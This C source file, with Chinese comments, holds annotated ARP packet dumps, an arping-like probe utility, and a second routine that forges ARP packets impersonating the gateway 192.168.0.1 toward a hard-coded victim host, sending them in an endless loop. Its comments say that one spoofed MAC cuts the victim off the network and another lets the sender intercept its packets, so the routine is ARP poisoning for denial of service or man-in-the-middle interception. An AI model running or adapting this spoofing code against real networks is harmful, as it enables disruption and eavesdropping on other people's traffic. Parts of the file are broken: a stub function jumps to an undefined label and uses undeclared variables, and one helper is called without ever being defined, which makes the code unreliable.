//1.先发包
//0000 6c 62 6d 3e 8d 60 11 22 33 44 55 66 08 06 00 01 lbm>.`." 3DUf....
//0010 08 00 06 04 00 01 11 22 33 44 55 66 c0 a8 00 01 ......." 3DUf....
//0020 6c 62 6d 3e 8d 60 c0 a8 00 69 00 00 00 00 00 00 lbm>.`.. .i......
//0030 00 00 00 00 00 00 00 00 00 00 00 00
//目的地的mac地址
//6c 62 6d 3e 8d 60
//源头的mac地址
//11 22 33 44 55 66
//type:ARP(0x0806)
//Hardware type:Ethernet(0x0001)
//Protocol type:IP(0x0800)
//Hardware size:6 mac地址的长度
//Protocol size:4 ip地址的长度
//Opcode: request(0x0001)
//Sender Mac address: 11 22 33 44 55 66
//Sender IP address: c0 a8 00 01(192.168.0.1)
//Target Mac address: 6c 62 6d 3e 8d 60
//Target IP address:c0 a8 00 69(192.168.0.105)
//2.响应包
//0000 11 22 33 44 55 66 24 0a 64 63 fd 99 08 06 00 01 ."3DUf$. dc......
//0010 08 00 06 04 00 02 24 0a 64 63 fd 99 c0 a8 00 69 ......$. dc.....i
//0020 11 22 33 44 55 66 c0 a8 00 01 ."3DUf.. ..
//目的地的mac地址
//11 22 33 44 55 66
//源头的mac地址
//24 0a 64 63 fd 99
//type:ARP(0x0806)
//Hardware type:Ethernet(0x0001)
//Protocol type:IP(0x0800)
//Hardware size:6 mac地址的长度
//Protocol size:4 ip地址的长度
//Opcode: reply(0x0002)
//Sender Mac address: 24 0a 64 63 fd 99
//Sender IP address: c0 a8 00 69(192.168.0.105)
//Target Mac address: 11 22 33 44 55 66
//Target IP address:c0 a8 00 01(192.168.0.1)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <linux/types.h>
#include <sys/socket.h>
#include <netinet/ip_icmp.h> //struct icmp
#include <netinet/in.h> //sockaddr_in
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/time.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <net/if.h>
//#include "log.h"
//#include "address_util.cpp"
#include <net/if_arp.h>
#include <net/ethernet.h>
#include <net/if.h>
//#include <net/if_dl.h>
#include <ifaddrs.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <sys/times.h>
//#include <net/bpf.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <unistd.h>
#include <ctype.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <sys/uio.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <linux/sockios.h>
#include <linux/if.h>
//#include <linux/if_arp.h>
//#include <linux/if_packet.h>
//如果只是想让对方断网,那就把mac源都设成MAC_TRICK,
//想截获数据包那就用MAC_SOURCE
//28:80:11:25:bb:25
//#define MAC_TRICK {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}
#define MAC_TRICK {0xAC, 0x1F, 0x6B, 0x79, 0x70, 0x24 }
#define MAC_SOURCE {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33}
//冒充的IP
#define IP_TRICK "192.168.0.1"
//目标机器的MAC
#define MAC_TARGET { 0x28, 0x80, 0x11, 0x25, 0xbb, 0x25 }
//#define MAC_TARGET { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }
//目标机器的IP
#define IP_TARGET "192.168.0.108"
struct arp_packet
{
//DLC Header
//接收方mac
unsigned char mac_target[ETH_ALEN];
//发送方mac
unsigned char mac_source[ETH_ALEN];
//Ethertype - 0x0806是ARP帧的类型值
unsigned short ethertype;
//ARP Frame
//硬件类型 - 以太网类型值0x1
unsigned short hw_type;
//上层协议类型 - IP协议(0x0800)
unsigned short proto_type;
//MAC地址长度
unsigned char mac_addr_len;
//IP地址长度
unsigned char ip_addr_len;
//操作码 - 0x1表示ARP请求包,0x2表示应答包
unsigned short operation_code;
//发送方mac
unsigned char mac_sender[ETH_ALEN];
//发送方ip
unsigned char ip_sender[4];
//接收方mac
unsigned char mac_receiver[ETH_ALEN];
//接收方ip
unsigned char ip_receiver[4];
//填充数据
unsigned char padding[18];
};
void die(const char *pre);
#if 0
void readBpf(int fd) {
int bufSize;
/* Returns the required buffer length for reads on bpf files */
if (ioctl(fd, BIOCGBLEN, &bufSize) < 0) {
perror("BIOCGBLEN failed: ");
exit(1);
}
LOG_D(TAG, "BIO Buffer: %d", bufSize);
char re[bufSize];
int finish = 1;
while (finish) {
/* 从 BPF 设备中读取数据 */
ssize_t readed = read(fd, re, bufSize);
if (readed < 0) {
perror("read failed.");
break;
}
else if (readed == 0) {
LOG_D(TAG, "read end.");
break;
}
LOG_D(TAG, "read %d bytes data.", readed);
/* 接收的数据的头部是 bpf_hdr */
const struct bpf_hdr *bpfHeader = (struct bpf_hdr *)re;
LOG_D(TAG, "bpf header tstamp: %", bpfHeader->bh_tstamp);
LOG_D(TAG, "bpf header len: %d", bpfHeader->bh_hdrlen);
LOG_D(TAG, "bpf header data len: %d", bpfHeader->bh_datalen);
LOG_D(TAG, "bpf header cap len: %d", bpfHeader->bh_caplen);
/* 从 re 中取出以太网头部 */
ether_header_t *eaddr = (ether_header_t *)(re + bpfHeader->bh_hdrlen);
u_short etherType = ntohs(eaddr->ether_type);
if (etherType == ETHERTYPE_ARP) {
LOG_D(TAG, "Received ARP");
/* 从 re 中取出ARP数据 */
const struct arphdr *arp = (struct arphdr *)(re + bpfHeader->bh_hdrlen + sizeof(ether_header_t));
/* 由于会收到很多局域网中其他设备发出的 ARP 请求, 所以只接收第一次的 Reply, 表示是对我们发出的 Request 的响应. 更严谨的应该根据 Reply 包中的目标ip地址和目标mac地址是不是我们的地址来过滤 */
if (arp->ar_op == ntohs(ARPOP_REPLY)) {
LOG_D(TAG, "Received ARP Reply");
outputArp(arp);
finish = 0;
}
}
}
}
#endif
//ARP协议的C语言实现源代码【转载】 收藏
//什么是ARP协议
//英文原义:ADDRESS RESOLUTION PROTOCOL
//中文释义:(RFC - 826)地址解析协议
#define src_addr "192.168.0.1" //需要进行arp解析的ip
#define device "eno1" //本机的哪块网卡
#define fill_buf "aaaaaaaaaaaa"
int socket_id;
char *target = src_addr;
int send_count = 0;
int recv_count = 0;
struct in_addr src, dst;
#if 0
struct sockaddr_ll {
unsigned short sll_family;
__be16 sll_protocol;
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};
#endif
struct sockaddr_ll me, he;
struct timeval send_time, recv_time;
//获得本机相应网卡的ip
struct in_addr get_src_ip( char *devices )
{
struct sockaddr_in saddr;
int sock_id = socket(AF_INET, SOCK_DGRAM, 0);
//设置数据报socket
if( sock_id < 0 ) {
perror("socket");
exit(2);
}
if (devices) {
if (setsockopt(sock_id, SOL_SOCKET, SO_BINDTODEVICE, device, strlen(device) + 1) == -1)//将socketbind到网卡上
perror("WARNING: interface is ignored");
}
int alen = sizeof(saddr);
memset(&saddr, 0, sizeof(saddr));
saddr.sin_port = htons(0x1000);//设置端口
saddr.sin_family = AF_INET;
if (connect(sock_id, (struct sockaddr*)&saddr, sizeof(saddr)) == -1) {//将socket连接到相应的inet地址上
perror("connect");
exit(2);
}
if (getsockname(sock_id, (struct sockaddr*)&saddr, &alen) == -1) {//通过socket获得绑定的ip地址
perror("getsockname");
exit(2);
}
close(sock_id);
return saddr.sin_addr;
}
int check_device(char* if_dev, int ss)//网卡和socket 将网卡设置为混杂模式?
{
int ifindex;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, if_dev, IFNAMSIZ - 1);//网卡设备名
if (ioctl(ss, SIOCGIFINDEX, &ifr) < 0) {
fprintf(stderr, "arping: unknown iface %s\n", if_dev);
exit(2);
}
ifindex = ifr.ifr_ifindex;
if (ioctl(ss, SIOCGIFFLAGS, (char*)&ifr)) {
perror("ioctl(SIOCGIFFLAGS)");
exit(2);
}
if (!(ifr.ifr_flags&IFF_UP)) {
printf("Interface \"%s\" is down\n", if_dev);
exit(2);
}
if (ifr.ifr_flags&(IFF_NOARP | IFF_LOOPBACK)) {
printf("Interface \"%s\" is not ARPable\n", if_dev);
exit(2);
}
return ifindex;
} // check_device()
int socket_init()
{
int s, s_errno;
s = socket(PF_PACKET, SOCK_DGRAM, 0);
//数据包
s_errno = errno;
me.sll_family = AF_PACKET;
//printf("sizeof(me) = %d\n", sizeof(me));
//printf("me.sll_family = 0x%x\n", me.sll_family);
me.sll_protocol = htons(ETH_P_ARP);
//printf("me.sll_protocol = 0x%x\n", me.sll_protocol);
me.sll_ifindex = check_device(device, s);
//printf("me.sll_ifindex = 0x%x\n", me.sll_ifindex);
//macdbg_dmphex(&me, sizeof(me));
if (bind(s, (struct sockaddr*)&me, sizeof(me)) == -1) {
perror("bind");
exit(2);
}
//macdbg_dmphex(&me, sizeof(me));
int alen = sizeof(me);
if (getsockname(s, (struct sockaddr*)&me, &alen) == -1) {
perror("getsockname");
exit(2);
}
//macdbg_dmphex(&me, sizeof(me));
if (me.sll_halen == 0) {
printf("Interface \"%s\" is not ARPable (no ll address)\n", device);
exit(2);
}
he = me;
memset(he.sll_addr, 0xff, he.sll_halen);
//set dmac addr FF:FF:FF:FF:FF:FF
//printf("s = 0x%x\n", s);
return s;
}
int
create_pkt(unsigned char * buf, struct in_addr src, struct in_addr dst, struct sockaddr_ll * FROM, struct sockaddr_ll * TO)
{
struct arphdr *ah = (struct arphdr*) buf;
unsigned char *p = (unsigned char *)(ah + 1);
ah->ar_hrd = htons(FROM->sll_hatype);
if (ah->ar_hrd == htons(ARPHRD_FDDI))
ah->ar_hrd = htons(ARPHRD_ETHER);
ah->ar_pro = htons(ETH_P_IP);
ah->ar_hln = FROM->sll_halen;
ah->ar_pln = 4;
ah->ar_op = htons(ARPOP_REQUEST);
memcpy(p, &FROM->sll_addr, ah->ar_hln);
p += FROM->sll_halen;
memcpy(p, &src, 4);
p += 4;
memcpy(p, &TO->sll_addr, ah->ar_hln);
p += ah->ar_hln;
memcpy(p, &dst, 4);
p += 4;
memcpy(p, fill_buf, strlen(fill_buf));
p += 12;
return (p - buf);
}
void send_pkt()
{
unsigned char send_buf[256];
int pkt_size = create_pkt(send_buf, src, dst, &me, &he);
gettimeofday(&send_time, NULL);
int cc = sendto(socket_id, send_buf, pkt_size, 0, (struct sockaddr*)&he, sizeof(he));
if (cc == pkt_size)
send_count++;
alarm(1);
}
int chk_recv_pkt(unsigned char * buf, struct sockaddr_ll * FROM)//解析arp数据
{
struct arphdr *ah = (struct arphdr*)buf;
unsigned char *p = (unsigned char *)(ah + 1);
struct in_addr src_ip, dst_ip;
if (ah->ar_op != htons(ARPOP_REQUEST) && ah->ar_op != htons(ARPOP_REPLY))
return 0;
if (ah->ar_pro != htons(ETH_P_IP) || ah->ar_pln != 4 || ah->ar_hln != me.sll_halen)
return 0;
memcpy(&src_ip, p + ah->ar_hln, 4);
memcpy(&dst_ip, p + ah->ar_hln + 4 + ah->ar_hln, 4);
if (src_ip.s_addr != dst.s_addr || src.s_addr != dst_ip.s_addr)
return 0;
return (p - buf);
}
void disp_info(int received, struct in_addr dst, int msecs, int usecs, struct sockaddr_ll from)
{
printf("%03d ", received);
printf("%s ", from.sll_pkttype == PACKET_HOST ? "Unicast" : "Broadcast");
printf("%s from %s", "reply", inet_ntoa(dst));
printf(" [%02X:%02X:%02X:%02X:%02X:%02X] ", from.sll_addr[0], from.sll_addr[1], \
from.sll_addr[2], from.sll_addr[3], from.sll_addr[4], from.sll_addr[5]);
printf(" %ld.%ld ms\n", (long int)msecs, (long int)usecs);
fflush(stdout);
}
void finish()
{
printf("\nSent %d ARP probe packet(s) \n", send_count);
printf("Received %d response(s)", recv_count);
printf("\n\n");
fflush(stdout);
exit(!recv_count);
}
int main( int argc, char **argv )
{
int ret;
uid_t uid = getuid();
//printf("uid = %d \n", uid);
setuid(uid);
if( *(argv + 1) != NULL ){
target = *(argv + 1);
//传入的第一个参数,待解析的ip地址
}
//printf("target = %s \n", target);
ret = inet_aton(target, &dst);
//printf("ret = %d \n", ret);
if( ret != 1) {
//使用字符串ip更新dst地址结构中的网络字节序ip
struct hostent *hp;
hp = gethostbyname2(target, AF_INET);
printf("\ntarget = %s \n", target);
if( !hp ){
fprintf(stderr, "arping: unknown host %s\n", target);
exit(2);
}
memcpy(&dst, hp->h_addr, 4);
}
src = get_src_ip(device);//获得本机device网卡的ip
if (!src.s_addr) {
fprintf(stderr, "arping: no source address in not-DAD mode\n");
exit(2);
}
//printf("src = %x\n", src);
//printf("src = %x\n", sizeof(src));
socket_id = socket_init();
printf("\nARPING %s ", inet_ntoa(dst));
printf("from %s %s\n\n", inet_ntoa(src), device ? : "");
signal(SIGINT, finish);
signal(SIGALRM, send_pkt);
send_pkt();
while (1)
{
struct sockaddr_ll from;
int alen = sizeof(from);
char recv_buf[0x1000];
int recv_size = recvfrom(socket_id, recv_buf, sizeof(recv_buf), 0, (struct sockaddr *)&from, &alen);
gettimeofday(&recv_time, NULL);
if (recv_size < 0) {
perror("arping: recvfrom");
continue;
}
if (chk_recv_pkt(recv_buf, &from) > 0) {
memcpy(he.sll_addr, from.sll_addr, he.sll_halen);
long usecs, msecs;
if (recv_time.tv_sec) {
usecs = (recv_time.tv_sec - send_time.tv_sec) * 1000000 + recv_time.tv_usec - send_time.tv_usec;
msecs = (usecs + 500) / 1000;
usecs -= msecs * 1000 - 500;
}
recv_count++;
disp_info(recv_count, dst, msecs, usecs, from);
} // if (chk...)
}
return 0;
}
int mainkkkksssssss(void)
{
int sfd, len;
struct arp_packet ap;
struct in_addr inaddr_sender, inaddr_receiver;
struct sockaddr_ll sl;
unsigned char mac_target_x[ETH_ALEN] = MAC_TARGET;
unsigned char mac_source_x[ETH_ALEN] = MAC_TRICK;
unsigned char mac_sender_x[ETH_ALEN] = MAC_TRICK;
unsigned char mac_receiver_x[ETH_ALEN] = MAC_TARGET;
sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(-1 == sfd){
perror("socket");
}
memset(&ap, 0, sizeof(struct arp_packet));
//ap.mac_target[ETH_ALEN] = MAC_TARGET;
memcpy( &ap.mac_target[0], &mac_target_x[0], 6);
//ap.mac_source = MAC_TRICK;
memcpy( &ap.mac_source[0], &mac_source_x[0], 6);
ap.ethertype = htons(0x0806);
ap.hw_type = htons(0x1);
ap.proto_type = htons(0x0800);
ap.mac_addr_len = ETH_ALEN;
ap.ip_addr_len = 4;
ap.operation_code = htons(0x1);
//ap.mac_sender = MAC_TRICK;
memcpy( &ap.mac_sender[0], &mac_sender_x[0], 6);
inet_aton(IP_TRICK, &inaddr_sender);
memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender));
//ap.mac_receiver = MAC_TARGET;
//ap.mac_receiver = { 0x6c, 0x62, 0x6d, 0x3e, 0x8d, 0x60 };
memcpy( &ap.mac_receiver[0], &mac_receiver_x[0], 6);
inet_aton(IP_TARGET, &inaddr_receiver);
memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));
memset(&sl, 0, sizeof(sl));
sl.sll_family = AF_PACKET;
//sl.sll_addr = MAC_SOURCE;
//sl.sll_halen = ETH_ALEN;
sl.sll_ifindex = IFF_BROADCAST;//非常重要
while(1)
{
len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl));
macdbg_dmphex(&ap, sizeof(ap));
usleep(500000);
printf("send len = %d \n", len);
if(-1 == len)
{
die("sendto");
}
}
return 0;
}
void die(const char *pre)
{
perror(pre);
exit(1);
}
int mainxxx(int argc,char *argv[])
{
int skfd;
struct sockaddr_in addr={0};
struct sockaddr_in saddr={0};
char buff[68]={0};
char recvbuff[512]={0};
int ret;
int addrlen = 0;
int count = 1;
int i = 1;
unsigned int csum=0x00;
unsigned int sum = 0x00;
unsigned int result = 0x00;
out:
close(skfd);
return 0;
}